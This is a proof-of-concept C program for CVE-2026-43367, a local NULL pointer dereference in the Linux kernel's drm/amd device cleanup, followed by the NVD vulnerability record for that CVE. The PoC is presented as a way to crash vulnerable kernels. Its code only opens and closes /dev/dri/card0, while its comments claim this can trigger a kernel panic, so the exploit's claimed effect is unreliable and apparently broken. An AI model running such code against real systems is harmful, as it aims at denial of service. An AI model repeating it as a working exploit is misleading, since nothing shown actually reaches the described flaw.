CVE-2026-43367

/* * PoC for CVE-2026-43367 * This code attempts to trigger the NULL pointer dereference * in the drm/amd device cleanup path on vulnerable hardware. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/dri/card0" int main() { int fd; // Attempt to open the AMD GPU device fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return EXIT_FAILURE; } printf("Device opened successfully. Attempting to trigger cleanup path...\n"); // On vulnerable systems, specific interactions or simply triggering // the device cleanup logic (e.g., closing the device on unsupported hw) // may lead to a kernel panic due to NULL pointer dereference. close(fd); printf("Interaction completed. Check kernel logs for crashes.\n"); return EXIT_SUCCESS; }

{"cve": {"id": "CVE-2026-43367", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:47.737", "lastModified": "2026-05-15T15:42:18.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd: Fix a few more NULL pointer dereference in device cleanup\n\nI found a few more paths that cleanup fails due to a NULL version pointer\non unsupported hardware.\n\nAdd NULL checks as applicable.\n\n(cherry picked from commit f5a05f8414fc10f307eb965f303580c7778f8dd2)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.16", "versionEndExcluding": "6.18.19", "matchCriteriaId": "0CED11FB-4FAA-4224-93EC-23FC2358D4C7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19.6", "versionEndExcluding": "6.19.9", "matchCriteriaId": "2CFC1CE8-19E1-4AFC-BF52-43BDD2561EE6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/38f1640db7f8bf57b9e09c5b0b8b205a598f1b3e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5edcb0d6729b88f192ec8b0896aaf581e3593c9c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/72ecb1dae72775fa9fea0159d8445d620a0a2295", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}